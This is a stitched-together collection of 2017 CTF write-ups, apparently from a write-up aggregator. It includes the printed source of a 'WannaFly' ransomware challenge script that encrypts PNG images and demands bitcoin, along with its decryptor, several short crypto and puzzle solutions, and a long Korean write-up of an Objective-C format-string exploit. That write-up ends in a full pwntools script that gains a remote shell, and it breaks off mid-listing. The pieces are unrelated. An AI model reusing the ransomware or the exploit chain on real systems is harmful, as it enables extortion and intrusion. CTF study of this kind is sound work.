85aR48eZwBoxYqbSNd1PXGoabKM50kHAJPwb3OfEc6a8JzgZ5wbUQRHOmX1z8oRT8w+S9xAiY/9eeH+H3OvLONNk14ZAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE3LTA2LTIwVDE3OjM2OjIzKzAyOjAw+wTeWAAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxNy0wNi0yMFQxNzozNjoyMyswMjowMIpZZuQAAAAASUVORK5CYII="""
MSG="""This Image is encrypted by WannaFly Ransom-ware. If you want your original image back, feel free to contact us on [email protected] and make a bitcoin payment of 0.1 bitcoin to address 1QCc1EYncxTeSfTKpaCZ2hvMDwXULKRVWe"""
def get_iv(): iv = "" random.seed(int(time())) for i in range(0,16): iv += random.choice(string.letters + string.digits) return iv
def encrypt(m, p): iv=get_iv() aes = AES.new(p, AES.MODE_CFB, iv) return base64.b64encode(aes.encrypt(m))
def decrypt(m, p, i): aes = AES.new(p, AES.MODE_CFB, i) return aes.decrypt(base64.b64decode(m))
def find_images(): i = [] #for r, d, f in os.walk(os.environ['HOME']): for r, d, f in os.walk("."): for g in f: if g.endswith(".png"): i.append((os.path.join(r, g))) return i
def encrypt_images(): for i in find_images(): img = Image.open(i).filter(ImageFilter.GaussianBlur(radius=18)) draw = ImageDraw.Draw(img) font = ImageFont.truetype("/usr/share/fonts/truetype/freefont/FreeSans.ttf", 18) text = textwrap.wrap(MSG, width=60) W, H = img.size bird = Image.open(BytesIO(base64.b64decode(IMG))) bw, bh = bird.size offset = ((W-bw)/2, (H-bh)/2 - 80) img.paste(bird, offset, bird) pad = 0 for line in text: w, h = draw.textsize(line, font=font) draw.text(((W-w)/2, (H-h)/2 + pad), line, font=font, fill="white") pad += 20 img.save('/tmp/sha.png') encrypt_image(i)
def encrypt_image(img): data = open(img, 'r').read() encrypted_img = encrypt(data, sys.argv[1]) blurred_img = open('/tmp/sha.png', 'r').read() stat = os.stat(img) with open(img, 'r+') as of: of.write('\0' * stat.st_size) of.flush() open(img, 'w').write(blurred_img + "\n" + encrypted_img)
if __name__ == '__main__': if len(sys.argv) != 2: print "Usage: %s <pass>" % sys.argv[0] else: encrypt_images()```
# Hacking
Original images were encrypted by AES cipher, and saved as base64 text at the end of blured image. To get original encrypted image we just have to get data after "END" bytes and new line character.
To decrypt the images we need two things: **password** and **iv** (initialization vector). We can simply get password from `.bash_history` file, but **iv** will be a little bit harder. We must somehow now which numbers were generated in `get_iv()` function. We can see that random numbers generator is initialized with `time()` value for every image, so we don't care about order of image encryption, because for every image random numbers generator starts from the beginning. If we know the seed, we have **iv**.
So, how to get original initalization seed? Get last modification date from the file!
We are all set, time to write a script.
# Execution
```
#!/usr/bin/env python
import random, string, osfrom Crypto.Cipher import AESimport base64
pwd = "Hb8jnSKzaNQr5f7p"
def get_iv(seed): iv = "" random.seed(seed) for i in range(0,16): iv += random.choice(string.letters + string.digits) return iv
def decrypt(m, p, i): aes = AES.new(p, AES.MODE_CFB, i) return aes.decrypt(base64.b64decode(m))
def find_images(): i = [] for r, d, f in os.walk("."): for g in f: if g.endswith(".png"): i.append((os.path.join(r, g))) return i
def decrypt_image(img): data = open(img, 'rb').read()
end_index = data.find(b"END") data = data[end_index:] new_line_index = data.find(b"\n") data = data[new_line_index + 1:]
modification_date = os.stat(img).st_mtime decrypted_img = decrypt(data, pwd, get_iv(modification_date)) open(img[:-4] + "_decrypted.png", 'wb').write(decrypted_img)
if __name__ == '__main__': for img in find_images(): decrypt_image(img)
```
> Disclamer: It seems that python3 has different random generator than python2, I spend hour tweaking this script when using python3, then run in pyton2 and boom, worked.
TADA! Flag was just written on one of the images. |
```def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m
r = open('enc.txt','rb')cipher = r.read().split('\n')
n = 20473673450356553867543177537p = 2165121523231q = 9456131321351327e = 17d = modinv(e,(p-1)*(q-1))flag = ''
for x in cipher: m = pow(int(x),d,n) flag += chr(m) if chr(m) == '}': break
print 'flag is :%s' % flag``` |
## 2017, Dating in Singapore## 01081522291516170310172431-050607132027162728-0102030209162330-02091623020310090910172423-02010814222930-0605041118252627-0203040310172431-0102030108152229151617-04050604111825181920-0108152229303124171003-261912052028211407-04051213192625
At first glance these numbers seem weird. I tried Base32 but fruitless. I thought for a while and found that there are 12 groups of numbers splitted by hyphen. And the numbers seem to range from 01 to 31. Considering the name "2017, Dating", I found a way to get the answer: Drawing characters from the Calendar according to the order of the numbers.
The first is January. And we get "H".
Following the same method we get **HITB{CTFFUN}** for each number strings. And it's the answer. |
JSON Web Tokens have no means of authenticating the header and thus can be abused to manipulate the server into verifying a forged signed message with a key of the attacker’s choosing. |
Extracting the private key into a PEM file from a PKCS12 file transmitted over UDP allows the investigator to decrypt an RDP session and recover some secret data. |
We're provided a file named `ihatejs.hs`. No other information is given. The code was minified and obfuscated, so I unminified it first, and tried to look at it, but couldn't understand much because of the level of obfuscation. So, after a while, I just went on and executed the js file to see if something happens.```$ node ihatejs.jsd4rk{ccjccpbsvrafrcatbpchjydiio}c0de```Voila! That was easier than expected! |
> This write up is written in Korean. If anyone who wanna see the English version, I'll consider that but I think given figures and codes are enough to understand :P
# 2017 SHA - Echo Service
## Key words
- amd64 | FULL RELRO | NX | SSP | PIE- Object-c- FSB (but Object-c version)- construct fake frame
## Check Security
```hackability@ubuntu:~/Home/TenDollar/ctf/pwnable/0019_2017_SHA_echoservice$ checksec --file echoservice[*] '/media/psf/Home/TenDollar/ctf/pwnable/0019_2017_SHA_echoservice/echoservice' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
## Solution
먼저 보안 모듈은 전부 걸려 있습니다.
문제를 보면 다음과 같습니다.
```__int64 __fastcall main(__int64 a1, char **a2, char **a3){ __int64 v3; // rax@1 __int64 v4; // rbx@1 int (__fastcall *v5)(__int64, char **); // rax@1 __int64 v6; // rax@1 __int64 v7; // rbx@1 int (__fastcall *v8)(__int64, char **); // rax@1 __int64 v9; // rax@1 __int64 v10; // ST10_8@1 __int64 v11; // rdx@1 __int64 v12; // rax@1 __int64 v13; // rbx@1 int (__fastcall *v14)(__int64, char **); // rax@1 __int64 v15; // rax@1 __int64 v16; // rbx@1 int (__fastcall *v17)(__int64, char **); // rax@1 __int64 v18; // rax@1 __int64 v19; // rbx@1 void (__fastcall *v20)(__int64, char **); // rax@1 void (__fastcall *v21)(__int64, char **); // rax@1
LODWORD(v3) = objc_get_class("NSAutoreleasePool", a2, a3); v4 = v3; LODWORD(v5) = objc_msg_lookup(v3, off_202380); LODWORD(v6) = v5(v4, off_202380); v7 = v6; LODWORD(v8) = objc_msg_lookup(v6, off_202390); LODWORD(v9) = v8(v7, off_202390); v10 = v9; LODWORD(v12) = objc_get_class("EchoService", off_202390, v11); v13 = v12; LODWORD(v14) = objc_msg_lookup(v12, off_202380); LODWORD(v15) = v14(v13, off_202380); v16 = v15; LODWORD(v17) = objc_msg_lookup(v15, off_202390); LODWORD(v18) = v17(v16, off_202390); v19 = v18; LODWORD(v20) = objc_msg_lookup(v18, off_2023A0); v20(v19, off_2023A0); LODWORD(v21) = objc_msg_lookup(v10, off_2023B0); v21(v10, off_2023B0); return 0LL;}```
읭...?? 일반 C 형태의 코드가 아닙니다. 오브젝트 C를 개발해보신 분은 함수 심볼을 보고 바로 눈치를 챗겠지만 저는 함수 명으로 검색해서 해당 코드가 `object-c`로 되어 있음을 알았습니다.
바이너리 동작 형태는 단순히 echo 를 해주는데 입력 시 일반적인 `FSB`가 발생합니다.
```hackability@ubuntu:~/Home/TenDollar/ctf/pwnable/0019_2017_SHA_echoservice$ ./echoserviceAAAAAAAA%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx 2017-08-15 01:55:09.170 echoservice[26079] AAAAAAAA7ffff73ddb40.00000000.00000000.5555558385c0.00000000.5555557563a0.5555557cf6e0.00000000.555555842110.555555837bb0.00000000.4141414141414141```
흥미로운 점은 `object-c`에서는 `%n`명령이 없다는 점 입니다. 때문에 임의 쓰기가 힘듭니다.
여러가지 검색 해본 결과 `object-c`에서는 `%@` 포멧 스트링을 제공해줍니다. `%@`명령은 `object-c` 오브젝트를 출력해주는 역할을 하는데 스펙은 다음과 같습니다.
```%@n
Objective-C object, printed as the string returned by descriptionWithLocale: if available, or description otherwise. Also works with CFTypeRef objects, returning the result of the CFCopyDescription function.```
테스트 해보면 세그 폴트가 뜨는것을 확인할 수 있습니다.
```hackability@ubuntu:~/Home/TenDollar/ctf/pwnable/0019_2017_SHA_echoservice$ ./echoserviceAAAAAAAA%12$@Segmentation fault (core dumped)```
디버거로 해당 위치를 덤프 해보면 다음과 같습니다.
```pwndbg> rStarting program: /media/psf/Home/TenDollar/ctf/pwnable/0019_2017_SHA_echoservice/echoservice[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".AAAAAAAA%12$@
Program received signal SIGSEGV, Segmentation fault.0x00007ffff73f3c83 in objc_msg_lookup () from /usr/lib/x86_64-linux-gnu/libobjc.so.4LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA[──────────REGISTERS──────────]*RAX 0xb0*RBX 0xffffffffffffffff*RCX 0x7fffffffbc00 ◂— 0x5555f73ddb40 RDX 0x0*RDI 0x4141414141414141 ('AAAAAAAA')*RSI 0x7ffff7ccf990 ◂— 0x1000000003 R8 0x0*R9 0x1e R10 0x0 R11 0x0*R12 0x7ffff7ccfa40 —▸ 0x7ffff7cdf4a0 —▸ 0x7ffff7cdf780 —▸ 0x7ffff75fda00 ◂— ...*R13 0x4141414141414141 ('AAAAAAAA') R14 0x0*R15 0x7fffffffbd10 ◂— 0xffffffff*RBP 0x7fffffffcd70 —▸ 0x7fffffffde10 —▸ 0x555555841900 —▸ 0x7ffff7cde300 ◂— ...*RSP 0x7fffffffbbc0 ◂— 0x30002000350031 /* '1' */*RIP 0x7ffff73f3c83 (objc_msg_lookup+19) ◂— mov rbx, qword ptr [rdi][──────────DISASM──────────] ► 0x7ffff73f3c83 <objc_msg_lookup+19> mov rbx, qword ptr [rdi] 0x7ffff73f3c86 <objc_msg_lookup+22> mov rax, qword ptr [rsi] 0x7ffff73f3c89 <objc_msg_lookup+25> mov rdx, qword ptr [rbx + 0x40] 0x7ffff73f3c8d <objc_msg_lookup+29> mov r8d, eax 0x7ffff73f3c90 <objc_msg_lookup+32> mov rcx, rax 0x7ffff73f3c93 <objc_msg_lookup+35> shl r8d, 5 0x7ffff73f3c97 <objc_msg_lookup+39> shr rcx, 0x20 0x7ffff73f3c9b <objc_msg_lookup+43> add r8d, ecx 0x7ffff73f3c9e <objc_msg_lookup+46> cmp r8, qword ptr [rdx + 0x28] 0x7ffff73f3ca2 <objc_msg_lookup+50> jb objc_msg_lookup+80 <0x7ffff73f3cc0> ↓ 0x7ffff73f3cc0 <objc_msg_lookup+80> mov r8, qword ptr [rdx][──────────STACK──────────]00:0000│ rsp 0x7fffffffbbc0 ◂— 0x30002000350031 /* '1' */01:0008│ 0x7fffffffbbc8 ◂— 0xffffffffffffffff02:0010│ 0x7fffffffbbd0 —▸ 0x7fffffffcd70 —▸ 0x7fffffffde10 —▸ 0x555555841900 ◂— ...03:0018│ 0x7fffffffbbd8 —▸ 0x7ffff7ccfa40 —▸ 0x7ffff7cdf4a0 —▸ 0x7ffff7cdf780 ◂— ...04:0020│ 0x7fffffffbbe0 ◂— 'AAAAAAAA'05:0028│ 0x7fffffffbbe8 ◂— 0x006:0030│ 0x7fffffffbbf0 —▸ 0x7fffffffbd10 ◂— 0xffffffff07:0038│ 0x7fffffffbbf8 —▸ 0x7ffff7779ba9 ◂— lea rdx, [rip + 0x555dd0][──────────BACKTRACE──────────] ► f 0 7ffff73f3c83 objc_msg_lookup+19 f 1 7ffff7779ba9 f 2 7ffff7793996 f 3 7ffff797524b f 4 7ffff786eafb NSLogv+523 f 5 7ffff786ee49 NSLog+153 f 6 55555555514f f 7 55555555522e f 8 7ffff7039830 __libc_start_main+240Program received signal SIGSEGV (fault address 0x0)```
`rdi` 값이 우리가 처음에 넣은 `AAAAAAAA` 값을 가지고 있고 이 값을 포인터로 엑세스 하면서 세그폴트가 발생합니다.
해당 취약점이 발생하는 함수는 `objc_msg_lookup` 함수로 `libobjc.so.4`에서 제공되는 함수 입니다.
현재 플로우에서 뭔가 재미있는 플로우로 갈수 있는지 분석해봅니다.
조사 해본 결과 `call rax` 가젯이 `objc_msg_lookup`에 존재 했고 우리가 조작했던 레지스터 플로우로 부터 이 흥미로운 가젯까지 도달할수 있는 경로와 조건 그리고 마지막에 `rax`에 원샷 가젯을 넣을 수 있는지 분석해봅니다.
분석이 끝낫습니다. 분석속도가 브론즈인 저로써는 3일이 순삭 당했습니다.... :'(
공격 플로우는 다음과 같습니다.
보라색 플로우만 주목 하시면 됩니다. 다른 플로우도 `call rax` 가젯이 존재하지만 제가 이 플로우를 고집한 이유는 이 플로우 중간에 다른 함수 콜이 없다는 점 입니다.
만약 다른 함수 콜이 존재하면 그 안에서 무슨 동작을 할지 모르고 제가 힘들게 만들어 놓은 레지스터나 구조가 망가질 수 있고 또는 충돌이 발생될 수 있습니다.
플로우는 저 플로우를 따르면 되는데 이제 문제는 조건 입니다. 저 조건을 간단히 만들면 다음과 같습니다.
```obj_msg_lookup mov rbx, [rdi] ; rdi can be controlled mov rax, [rsi] mov rdx, [rbx+0x40] ; edx can be controlled mov r8, eax mov rcx, rax shl r8, 5 shr rcx, 0x20 add r8, ecx
cmp r8, [rdx+0x28] /---jb 10CC0|| (FALSE) jmp if r8 < [rdx + 0x28] - cond_1 < 0x70|\-->mov rax, [rdx+8] mov rax, [rax] /---jmp 10CAB|| ### 10CC0:| mov r8, [rdx]| mov eax, eax| mov rax, [r8+rax*8]| mov rax, [rax+rcx*8]|\-->### 10CAB test rax, rax/---je short 10CE0|| (TRUE) jmp if rax == 0: cond_2|\-->### 10CE0: mov r14, rsi mov r13, rdi mov r12, cs:__obj_uninstalled_dtable_ptr
mov rcx, [r12] cmp rcx, rdx/---jnz 10DC0|| (TRUE) jmp if rcx != rdx : maybe easy ? automatically to be TRUE|\-->### 10DC0: mov rax, [r14] mov edi, rax mov rsi, rax shl edi, 5 shr rsi, 0x20 add edi, esi
cmp rdi, [rdx+0x28]/---jb 10EF0|| (FALSE) jmp if rdi < [rdx+0x28] ; automatically FALSE by cond_1|\-->mov rax, [rdx+8] mov rax, [rax]/---jmp 10DE2|| ### 10EF0:| mov rdx, [rdx]| mov eax, eax| mov rax, [rdx+rax*8]| mov rax, [rax+rsi*8]| jmp 10DE2|\-->### 10DE2: test rax, rax/---jnz 10cb0|| (FALSE) RAX != 0 ; automatically FALSE by cond_1|\-->test byte ptr [rbx+0x20], 2/---jnz 10F27|| (FALSE) (byte *)rbx[4] & 2 != 0 : cond_3|\-->mov rax, [rbx] ; rax = [rbx] mov rsi, cs:... mov rdi, [rax+0x40] ; rdi = rax[8] = (*(*rdi))[8] mov rdx, [rsi] mov r8, [rdi+0x28] mov r9d, edx mov rax, rdx shl r9d, 5 shr rax, 0x20 add r9d, eax cmp r9, r8/---jb 10F14 || (TRUE) r9 < r8 || mov rax, [rdi+8]| mov rax, [rax]| jmp 10E2B|\-->### 10F14 mov r9, [rdi] ; r9 = [rdi] mov r10d, edx ; r10d = edx mov r9, [r9+r10*8] ; r9 = r9[r10] ; r10 = 0 mov rax, [r9+rax*8] ; rax = r9[rax] ; rax = 2/---jmp 10E2B||-->### 10E2B: test rax, rax/---jz 10F90 (FALSE)|| (FALSE) rax == 0|\-->mov rd, r14 ; 10E34 mov rdi, rbx call rax ; [*] That's what I want```
이제 이 조건을 만족 시킬 수 있도록 페이로드를 구성하면 됩니다.
분석을 해보면 제 페이로드는 2곳에 존재합니다. (스택, 힙) 다른 라이트업에서는 힙을 이용해서 공략했으니 저는 스택을 이용해보도록 하겠습니다. 사실 스택 위치를 구하는거랑 힙 위치를 구하는게 별 차이가 없기 때문에 익스 자체는 크게 상관은 없습니다.
먼저 제 페이로드가 시작하는 위치를 구해야 합니다. 여러 가지 방법이 있을 수 있는데 고정적인 스택을 이용하여 오프셋으로 제 페이로드 시작 위치를 구해주면 됩니다.
```pythonpayload = "%140$lx"p.sendline(payload)data = p.recv()stack_addr = int(data.split("] ")[1][:-1], 16) - 0x150 - 0x400print "PAYLOAD : {}".format(hex(stack_addr))```
한 가지 주의할 점은 원래 트리거 시에 `%12$@`으로 트리거 시켯지만 실제 우리의 페이로드는 포멧 스트링 다음에 위치해야 하므로 처음에 포멧 스트링을 8바이트 정렬을 한 값도 포함시켜야 합니다. 따라서 포멧 스트링 (8바이트)은 `%13$@ZZZ` 로 하고 그 뒤에 우리의 페이로드가 붙습니다.
처음 크래쉬 위치의 어셈블 코드를 보면 `rdi`를 컨트롤 할수 있기 때문에 `rbx`도 오염되고 따라서 `rbx+0x40` 역시 컨트롤 하여 `rdx`까지 오염시킬 수 있습니다.
```► 0x7ffff73f3c83 <objc_msg_lookup+19> mov rbx, qword ptr [rdi] 0x7ffff73f3c86 <objc_msg_lookup+22> mov rax, qword ptr [rsi] 0x7ffff73f3c89 <objc_msg_lookup+25> mov rdx, qword ptr [rbx + 0x40]```
일단 스택 위치로 넣어 봅니다.
```python(assume that payload already had '%13$@ZZZ')payload = p64(stack_addr) + "A"*8 # rbx = &payloadpayload += "B" * 0x30payload += p64(stack_addr+0x50) + "C"*8 # rdx = [rbx+0x40]payload += p64(stack_addr+0x50) + "D"*8 # rdx = &payload + 0x50payload += "E" * 0x10paylaod += "F" * 8 + "Z" *8```
`rdx`는 `[rbx+0x40]`을 갖는데 `p64(stack_addr+0x50)`으로 한 이유는 좀더 유연하게 제가 원하는 값을 넣기 위해 설정했습니다.
그리고 `rdx`를 쉽게 다루기 위해 `rdx`위치 역시 `rdx`를 가리키도록 했습니다.
이제 플로우를 태워보면 처음에 맞춰야 하는 조건은 다음과 같습니다.
``` cmp r8, [rdx+0x28] ; [*] <-- HERE/---jb 10CC0|| (FALSE) jmp if r8 < [rdx + 0x28] - cond_1 < 0x70|\-->mov rax, [rdx+8] mov rax, [rax]```
`r8`과 `[rdx+0x28]`을 비교 하는데 이 조건이 `True`가 되면 `deadend` 루틴으로 가기 때문에 `False`로 만들어야 합니다. 테스트 해보면 `r8`값이 `0x70`을 갖기 때문에 `[rdx+0x28]` 값은 `0x70`보다 작아야 합니다.
위에서 마지막 `Z * 8`의 위치가 `[rdx+0x28]` 이기 때문에 이 값을 0으로 설정합니다.
그러면 현재 페이로드는 다음과 같습니다.
```python(assume that payload already had '%13$@ZZZ')payload = p64(stack_addr) + "A"*8 # rbx = &payloadpayload += "B" * 0x30payload += p64(stack_addr+0x50) + "C"*8 # rdx = [rbx+0x40]payload += p64(stack_addr+0x50) + "D"*8 # rdx = &payload + 0x50payload += "E" * 0x10paylaod += "F" * 8payload += p64(0) # cond_1 : [rdx+0x28]```
그 다음 비교 루틴을 따라 가보면 다음과 같습니다.
```/---jb 10CC0|| (FALSE) jmp if r8 < [rdx + 0x28] - cond_1 < 0x70|\-->mov rax, [rdx+8] mov rax, [rax] /---jmp 10CAB|| ### 10CC0:| mov r8, [rdx]| mov eax, eax| mov rax, [r8+rax*8]| mov rax, [rax+rcx*8]|\-->### 10CAB ; [*] <-- HERE test rax, rax/---je short 10CE0|| (TRUE) jmp if rax == 0: cond_2|\-->### 10CE0:```
이 분기에서는 `True`를 만들어 주어야 합니다. 그러면 `rax`가 0 이여야 하는데 `rax`는 `*[rdx+8]`이 됩니다. 이 포인터 값 역시 우리가 원하는 값으로 만들 수 있기 때문에 이 조건을 만들어 줍니다. 이번에도 넉넉히 페이로드를 쓰기위에 뒤쪽에 배치 했습니다.
```python(assume that payload already had '%13$@ZZZ')payload = p64(stack_addr) + "A"*8 # rbx = &payloadpayload += "B" * 0x30payload += p64(stack_addr+0x50) + "C"*8payload += p64(stack_addr+0x50) # rdx = &payload + 0x50payload += p64(stack_addr+0x50+0x30) # [rdx+8] : for cond_2payload += "E" * 0x10paylaod += "F" * 8payload += p64(0) # cond_1 : [rdx+0x28]payload += p64(0) # *[rdx+8] point here for cond_2```
다음 조건을 보면 다음과 같습니다.
```\-->### 10CE0: mov r14, rsi mov r13, rdi mov r12, cs:__obj_uninstalled_dtable_ptr
mov rcx, [r12] cmp rcx, rdx/---jnz 10DC0|| (TRUE) jmp if rcx != rdx : maybe easy ? automatically to be TRUE|\-->### 10DC0: mov rax, [r14] mov edi, rax```
`rcx`와 `rdx`가 같지 않아야 하는데 이 부분은 테스트 해보면 자동적으로 같지 않게 됩니다. 이 부분은 무시해도 되겠군요 :)
다음 조건을 보면 다음과 같습니다.
```\-->### 10DC0: mov rax, [r14] mov edi, rax mov rsi, rax shl edi, 5 shr rsi, 0x20 add edi, esi
cmp rdi, [rdx+0x28]/---jb 10EF0|| (FALSE) jmp if rdi < [rdx+0x28] ; automatically FALSE by cond_1|\-->mov rax, [rdx+8] mov rax, [rax]/---jmp 10DE2```
`rdi < [rdx+0x28]`의 조건이 `False`가 되어야 합니다. 그런데 처음에 `cond_1`에서 이미 이 값을 0 으로 설정했고 `rdi`는 0보다 크기 때문에 자동적으로 이 루틴도 원하는 플로우를 타게 됩니다. 이 부분도 자동으로 넘어 가겠군요 :)
다음 조건을 보면 다음과 같습니다. (`10DE2`)
```\-->### 10DE2: test rax, rax/---jnz 10cb0|| (FALSE) RAX != 0 ; automatically FALSE by cond_1```
이 루틴은 `RAX != 0`의 조건을 `False`시켜야 합니다. 이 부분 역시 `cond_2`에서 이미 0 으로 설정했기 때문에 우리가 원하는 플로우로 이동할 수 있습니다
다음 조건을 보면 다음과 같습니다.
``` test rax, rax/---jnz 10cb0|| (FALSE) RAX != 0|\-->test byte ptr [rbx+0x20], 2/---jnz 10F27|| (FALSE) (byte *)rbx[4] & 2 != 0 : cond_3|\-->mov rax, [rbx] mov rsi, cs:... mov rdi, [rax+0x40]```
지금 `test byte ptr [rbx+0x20], 2` 조건을 `False` 시켜야 합니다. `test` 연산은 `and` 연산을 하기 때문에 `rbx+0x20`의 위치의 값을 홀수로 넣어야 합니다. 간단히 1로 넣도록 하겠습니다.
```python(assume that payload already had '%13$@ZZZ')payload = p64(stack_addr) + "A"*8 # rbx = &payloadpayload += "B" * 0x10payload += p64(1) # for cond_3 <-- [rbx+0x20]payload += "B" * 0x18payload += p64(stack_addr+0x50) + "C"*8payload += p64(stack_addr+0x50) # rdx = &payload + 0x50payload += p64(stack_addr+0x50+0x30) # [rdx+8] : for cond_2payload += "E" * 0x10paylaod += "F" * 8payload += p64(0) # cond_1 : [rdx+0x28]payload += p64(0) # *[rdx+8] point here for cond_2```
다음 조건을 보면 다음과 같습니다.
```\-->mov rax, [rbx] ; rax = [rbx] mov rsi, cs:... mov rdi, [rax+0x40] ; rdi = rax[8] = (*(*rdi))[8] mov rdx, [rsi] mov r8, [rdi+0x28] mov r9d, edx mov rax, rdx shl r9d, 5 shr rax, 0x20 add r9d, eax cmp r9, r8 /---jb 10F14 || (TRUE) r9 < r8 : cond_4|| mov rax, [rdi+8]| mov rax, [rax]| jmp 10E2B|\-->### 10F14 mov r9, [rdi] ; r9 = [rdi] mov r10d, edx ; r10d = edx```
`r9 < r8` 구문을 `True`로 만들어야 합니다. 먼저 `r8`을 살펴 보면 `[rdi+0x28]`을 갖는데 `rdi`는 `[rax+0x40]`이고 `rax`는 `[rbx]`이기 때문에 우리의 페이로드에서 `[[payload + 0x40] + 0x28]`을 하는 것과 같습니다.
이 부분을 다시 한번 잘 보시면 `cond_1`의 조건 위치 입니다. `cond_1 < 0x70` 신께 기도를 10번 한 뒤, `r9`값을 살펴 본 결과 다행히 `0x70`보다 작았습니다. 그래서 `cond_1`의 위치의 값을 다시 설정합니다.
`r9 < cond_1 < 0x70`
저는 간단히 `0x10`으로 설정했습니다.
```python(assume that payload already had '%13$@ZZZ')payload = p64(stack_addr) + "A"*8 # rbx = &payloadpayload += "B" * 0x10payload += p64(1) # for cond_3 <-- [rbx+0x20]payload += "B" * 0x18payload += p64(stack_addr+0x50) + "C"*8payload += p64(stack_addr+0x50) # rdx = &payload + 0x50payload += p64(stack_addr+0x50+0x30) # [rdx+8] : for cond_2payload += "E" * 0x10paylaod += "F" * 8-> payload += p64(0x10) # cond_1 : [rdx+0x28], cond_4payload += p64(0) # *[rdx+8] point here for cond_2```
자...이제 마지막 루틴 입니다.
```\-->### 10F14 mov r9, [rdi] ; r9 = [rdi] mov r10d, edx ; r10d = edx mov r9, [r9+r10*8] ; r9 = r9[r10] ; r10 = 0 mov rax, [r9+rax*8] ; rax = r9[rax] ; rax = 2 jmp 10E2B
### 10E2B: test rax, rax/---jz 10F90 (FALSE)|| (FALSE) rax == 0|\-->mov rd, r14 ; 10E34 mov rdi, rbx call rax ; [*] That's what I want```
`call rax`를 해야 하기 때문에 뒤쪽에 있는 `test rax, rax (False)`는 의미가 없습니다. (RAX는 원샷 가젯 주소를 가지고 있기 때문에)
`10F14` 루틴이 `RAX`를 생성하는 중요한 루틴입니다. 살펴 보면 다음과 같습니다.
```R9 = [RDI + R10*8] = RDI[R10]RAX = R9[RAX]```
먼저 `RDI`값은 `cond_4` 루틴에서 `[RBX+0x40]` 즉 `&payload + 0x50`을 가지고 있습니다. 이 루틴에 올때 `R10`은 0 이기 때문에 `R9 = &payload+0x50`을 갖습니다. 그 뒤에 `RAX` 값이 2를 가지고 있기 때문에 결국 `(&payload+0x50)[2]` 를 `RAX`에 넣습니다.
그리고 이 값을 CALL 하기 때문에 (&payload+0x50)+0x10 위치에 원샷 가젯을 넣습니다.
그러면 최종 페이로드는 다음과 같습니다.
```pythonpayload = "%13$@" + "ZZZ"payload += p64(stack_addr) # RBX (stack_addr) = &payloadpayload += "A2"*4payload += "B1"*4payload += "B2"*4payload += p64(1) # cond_3 : *cond_3 & 2 != 0 <-- rbx+0x20payload += "C2"*4payload += "D1"*4payload += "D2"*4payload += p64(stack_addr+0x50) # RDX will be this valuepayload += "E2"*4payload += p64(stack_addr+0x50) # RDX (&payload+0x50)payload += p64(stack_addr+0x50+0x30) # cond_2 : *[rdx+8] == 0payload += p64(one_shot) # RDX + 0x10payload += "G2"*4payload += "H1"*4payload += p64(0x10) # cond_1 : < 0x70 and con_4 : >= r9payload += p64(0) # cond_2```
중간에 제가 컨트롤할 수 없는 값들이 주소에 의해 변경되기 때문에 익스 코드는 한번에 되지 않고 몇번 시도를 해보아야 합니다.
## Solution code
```python#-*- coding: utf-8 -*-
from pwn import *context(arch='i386', os='linux')
DEBUG = False
def leak(addr, size, title=""): if DEBUG == False: return print " *** {} : {} ***".format(hex(addr), title) print hexdump(p.leak(addr, size))
server = "echo.stillhackinganyway.nl"port = 1337target = "./echoservice"
p = Noneif len(sys.argv) == 2: p = remote(server, port)else: DEBUG = True p = process(target)
# %140$lx = stack addr# &payload = (stack addr - 0x150) - 0x400
payload = "%lx"p.sendline(payload)data = p.recv()libc_addr = int(data.split("] ")[1][:-1], 16) - 0x3c4b40one_shot = libc_addr + 0x4526aprint "LIBC : {}".format(hex(libc_addr))
payload = "%140$lx"p.sendline(payload)data = p.recv()stack_addr = int(data.split("] ")[1][:-1], 16) - 0x150 - 0x400print "PAYLOAD : {}".format(hex(stack_addr))leak(stack_addr, 0x40, "&payload")
# for debugging# stack_addr + 0x40 = "E"*8# set $rdx=$rbx+0x50
stack_addr += 8
payload = "%13$@" + "ZZZ"payload += p64(stack_addr) # RBX (stack_addr)payload += "A2"*4payload += "B1"*4payload += "B2"*4payload += p64(1) # cond_3 : *cond_3 & 2 != 0payload += "C2"*4payload += "D1"*4payload += "D2"*4payload += p64(stack_addr+0x50) # p64(stack_addr+0x50) -> RDXpayload += "E2"*4payload += p64(stack_addr+0x50) # RDX (=stck_addr+0x50)payload += p64(stack_addr+0x50+0x30) # cond_1 : *&cond_1 = 0payload += p64(one_shot)payload += "G2"*4payload += "H1"*4payload += p64(0x10) # cond_1 : < 0x70payload += p64(0) # cond_2 : cond_1
leak(stack_addr, 0x80, "&payload")p.sendline(payload)
p.sendline("ls -al")print p.recv()
p.sendline("cat flag")print p.recv()```
## Result
```hackability@ubuntu:~/Home/TenDollar/ctf/pwnable/0019_2017_SHA_echoservice$ python sol_echoservice.py 1[+] Opening connection to echo.stillhackinganyway.nl on port 1337: DoneLIBC : 0x7f3962339000PAYLOAD : 0x7fffb283e7f0total 124drwxr-xr-x 23 root root 4096 Aug 11 06:11 .drwxr-xr-x 23 root root 4096 Aug 11 06:11 ..drwxr-xr-x 2 root root 12288 Aug 1 16:24 bindrwxr-xr-x 3 root root 4096 Aug 11 06:11 bootdrwxr-xr-x 15 root root 3820 Aug 7 10:25 dev-rwxr-xr-x 1 root root 11352 Aug 1 16:36 echoservicedrwxr-xr-x 103 root root 4096 Aug 4 06:56 etc-rw-r--r-- 1 root root 38 Aug 1 16:36 flagdrwxr-xr-x 4 root root 4096 Aug 1 16:36 homelrwxrwxrwx 1 root root 30 Aug 11 06:11 initrd.img -> boot/initrd.img-4.4.0-1030-awslrwxrwxrwx 1 root root 30 Aug 4 06:56 initrd.img.old -> boot/initrd.img-4.4.0-1028-awsdrwxr-xr-x 21 root root 4096 Jun 20 00:08 libdrwxr-xr-x 2 root root 4096 Jun 19 23:49 lib64drwx------ 2 root root 16384 Jun 19 23:58 lost+founddrwxr-xr-x 2 root root 4096 Jun 19 23:49 mediadrwxr-xr-x 2 root root 4096 Jun 19 23:49 mntdrwxr-xr-x 2 root root 4096 Jun 19 23:49 optd--x--x--x 116 